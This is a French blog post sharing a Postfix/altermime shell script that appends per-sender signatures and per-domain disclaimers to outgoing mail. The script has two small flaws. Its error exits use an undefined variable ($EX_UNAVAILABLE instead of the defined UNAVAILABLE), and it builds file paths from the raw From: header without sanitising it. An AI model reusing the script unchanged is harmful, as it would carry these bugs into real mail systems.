  • un mécanisme, je vous le donne en mille, simple, pour ne pas bégayer (signature en double etc)

Voilà le bousin :

#!/bin/sh
ALTERMIME=/usr/bin/altermime
ALTERMIME_DIR=/var/spool/altermime
SENDMAIL=/usr/sbin/sendmail
TEMPFAIL=75
UNAVAILABLE=69
cd $ALTERMIME_DIR || { echo $ALTERMIME_DIR does not exist; exit $TEMPFAIL; }
trap "rm -f in.$$" 0 1 2 3 15
cat >in.$$ || { echo Cannot write to $ALTERMIME_DIR; exit $TEMPFAIL; }

# d'abord on teste le mail pour voir si on n'a pas déjà rajouté le disclaimer
processed=`grep -m 1 "X-Disclaimer: yes" in.$$`
if [ -z "$processed" ]; then
        from_address=`grep -m 1 "From:" in.$$ | cut -d '<' -f 2 | cut -d '>' -f 1 | tr '@' '_'`
        from_domain=`grep -m 1 "From:" in.$$ | cut -d '@' -f 2 | cut -d '>' -f 1`
        signature_file="/etc/postfix/altermime/signatures/$from_address"
        disclaimer_file="/etc/postfix/altermime/disclaimers/$from_domain"
        # on cherche si on a une signature pour cet expéditeur
        if [ -e ${signature_file}.txt -a -e ${signature_file}.html ]; then
                $ALTERMIME --input=in.$$ \
                --disclaimer=${signature_file}.txt \
                --disclaimer-html=${signature_file}.html \
                --xheader="X-Disclaimer: yes" || \
                { echo Message content rejected; exit $EX_UNAVAILABLE; }
        fi
        # puis si on a un disclaimer générique pour son domaine
        if [ -e ${disclaimer_file}.txt -a -e ${disclaimer_file}.html ]; then
                $ALTERMIME --input=in.$$ \
                --disclaimer=${disclaimer_file}.txt \
                --disclaimer-html=${disclaimer_file}.html \
                --xheader="X-Disclaimer: yes" || \
                { echo Message content rejected; exit $EX_UNAVAILABLE; }
        fi
fi

$SENDMAIL "$@" <in.$$
exit $?

Si vous vous intéressez un peu au sujet vous verrez qu'une grosse partie de ce script se trouve sur quasiment toutes les pages qui parlent d'altermime, je remercie donc son auteur initial.

En ce qui concerne mes ajouts :

  • pour les signatures il suffit de rajouter des fichiers utilisateur_domaine.tld.{txt,html} dans /etc/postfix/altermime/signatures avec dedans ce qui va bien
  • pour les disclaimers génériques, dans /etc/postfix/altermime/disclaimers des fichiers domaine.tld.{txt,html} selon la même philosophie
  • pour l'anti bégaiement (qui se produit rarement mais dans des cas de redirection entre domaines), un simple X-Header

Voilà, je pense que c'est à peu près tout !

- page 1 de 11